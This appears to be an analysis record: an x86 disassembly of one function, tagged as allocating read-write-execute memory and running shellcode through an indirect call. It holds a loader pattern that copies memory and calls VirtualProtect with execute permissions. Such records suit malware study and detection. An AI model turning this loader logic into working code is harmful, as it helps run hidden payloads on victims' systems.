Function at 0x10006053
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov eax, dword [eax]
mov dword [ebp - 8], eax
cmp dword [ebp + 0xc], 0
jge 0x100060bc
mov eax, 0
jmp 0x1000689f
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
push dword [ebp - 4]
call fcn.100068a5
mov dword [ebp - 0xc], eax
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x100060f3
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x10006106
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push dword [ebp - 0x20]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x24]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x1000641f
fild dword [ebp - 4]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fadd qword [0x100294f6]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
call fcn.100029cc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], esp
push 4
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x1000616c
push 6
call fcn.1000ec7c
add esp, 4
test eax, eax
jne 0x100061b2
push dword [ebp - 0x14]
call fcn.10006d2c
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], esp
push 4
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
nop
nop
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x100061a6
push 6
call fcn.1000ec7c
add esp, 4
test eax, eax
jne 0x100061b2
xor eax, eax
jmp 0x100061b7
mov eax, 1
test eax, eax
je 0x100061d8
push 1
push dword [ebp - 0xc]
push 4
call fcn.10006d48
mov eax, 0
jmp 0x1000689f
push 1
push 2
push dword [ebp - 4]
call fcn.10006ef0
mov dword [ebp - 0x28], eax
fild dword [ebp - 0x28]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fadd qword [0x1002954c]
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
call fcn.100029cc
mov dword [ebp - 0x14], eax
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10006227
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x1000623a
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
fild dword [ebp - 0x14]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fsub qword [0x1002935d]
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
call fcn.100029cc
push eax
push dword [ebp - 0x20]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x1c]
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x1000628a
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x1000629d
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push dword [ebp - 0x14]
push 0
push dword [ebp - 0x20]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x2c]
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x100062da
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x100062ed
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push dword [ebp - 0x20]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x30]
mov dword [ebp - 0x24], eax
fild dword [ebp - 0x14]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fmul qword [0x100294f6]
fstp qword [ebp - 0x34]
mov dword [ebp - 0x38], esp
fld qword [ebp - 0x34]
call fcn.100029cc
push eax
push dword [ebp - 8]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_RtlMoveMemory]
nop
nop
nop
nop
cmp dword [ebp - 0x38], esp
je 0x10006345
push 6
call fcn.1000ec7c
add esp, 4
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10006365
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x10006378
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push dword [ebp - 0x20]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x30]
push eax
push 0
push dword [ebp - 4]
call fcn.10006ce8
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x100063bb
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x100063ce
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp + 0x1c], 0
je 0x100063ea
mov eax, 0xffffffff
jmp 0x100063ef
mov eax, 2
push eax
push dword [ebp - 0x20]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x18]
fild dword [ebp + 0xc]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fadd qword [0x100295c9]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
call fcn.100029cc
mov dword [ebp - 0x10], eax
jmp 0x1000643f
fild dword [ebp - 0x10]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fild dword [ebp + 0xc]
fstp qword [ebp - 0x2c]
fadd qword [ebp - 0x2c]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.100029cc
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0x14], 0
jg 0x100064b4
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10006469
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x1000647c
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push dword [ebp - 0x20]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x20]
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fild dword [ebp - 0x10]
fstp qword [ebp - 0x34]
fsub qword [ebp - 0x34]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.100029cc
mov dword [ebp + 0x14], eax
cmp dword [ebp + 0x14], 0
jle 0x1000653f
fild dword [ebp - 0x10]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fild dword [ebp + 0x14]
fstp qword [ebp - 0x30]
fadd qword [ebp - 0x30]
fstp qword [ebp - 0x38]
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x100064f3
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x10006506
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
push dword [ebp - 0x3c]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x20]
mov dword [ebp - 0x48], eax
fild dword [ebp - 0x48]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x38]
fsub qword [ebp - 0x48]
fcomp qword [0x100294fe]
fnstsw ax
test ah, 0x41
je 0x1000653f
xor eax, eax
jmp 0x10006544
mov eax, 1
test eax, eax
je 0x10006565
push 1
push dword [ebp - 0xc]
push 2
call fcn.10006d48
mov eax, 0
jmp 0x1000689f
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10006585
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x10006598
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push dword [ebp - 0x20]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [ebp - 0x18], eax
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x100065d0
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x100065e3
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push OleUIBusyA
push 0
push 0x100295d1
push 0x80000301
push 0
push dword [ebp + 0x14]
push 2
mov ebx, 0x1c0
call fcn.100101a0
add esp, 0x1c
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x38]
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10006646
push ebx
call fcn.1000ec8e
add esp, 4
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
fild dword [ebp + 0x14]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fmul qword [0x100295f8]
fstp qword [ebp - 0x2c]
mov dword [ebp - 0x30], esp
mov eax, 0
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push 0x40
fld qword [ebp - 0x2c]
call fcn.100029cc
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x30], esp
je 0x1000669a
push 6
call fcn.1000ec7c
add esp, 4
mov eax, dword [ebp + 0x14]
xor ecx, ecx
push eax
lea eax, [ebp - 0x14]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x100067c6
fild dword [ebp - 0x18]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fild dword [ebp - 0x14]
fstp qword [ebp - 0x2c]
fadd qword [ebp - 0x2c]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fmul qword [0x100294f6]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.100029cc
push eax
push 0x1b
push dword [ebp - 0x1c]
call fcn.10006ce8
fild dword [ebp - 0x10]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fild dword [ebp - 0x14]
fstp qword [ebp - 0x2c]
fadd qword [ebp - 0x2c]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.100029cc
push eax
push dword [ebp - 4]
call fcn.10006fe2
mov dword [ebp - 0x38], eax
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
fadd qword [0x10029600]
fstp qword [ebp - 0x48]
fild dword [ebp - 0x38]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fsub qword [ebp - 0x48]
fstp qword [ebp - 0x58]
fld qword [ebp - 0x58]
call fcn.100029cc
push eax
push 0xf
push dword [ebp - 0x1c]
call fcn.10006ce8
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x1000676b
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x1000677e
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
fild dword [ebp - 0x10]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fild dword [ebp - 0x14]
fstp qword [ebp - 0x30]
fadd qword [ebp - 0x30]
fadd qword [0x1002935d]
fstp qword [ebp - 0x38]
push dword [ebp - 0x1c]
fld qword [ebp - 0x38]
call fcn.100029cc
push eax
push dword [ebp - 0x20]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x34]
add dword [ebp - 0x1c], 0x1f
pop eax
pop ebx
pop ecx
jmp 0x100066a6
add esp, 0xc
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x100067e9
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x100067fc
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
fild dword [ebp - 0x18]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fild dword [ebp + 0x14]
fstp qword [ebp - 0x30]
fadd qword [ebp - 0x30]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
call fcn.100029cc
push eax
push dword [ebp - 0x20]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x18]
mov ebx, dword [0x10029af3]
call fcn.100029ac
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x1000684f
push 4
call fcn.1000ec7c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x10006862
push 1
call fcn.1000ec7c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
fild dword [ebp - 0x10]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fild dword [ebp + 0x14]
fstp qword [ebp - 0x30]
fadd qword [ebp - 0x30]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
call fcn.100029cc
push eax
push dword [ebp - 0x20]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x28]
mov eax, 1
jmp 0x1000689f
mov esp, ebp
pop ebp
ret 0x1c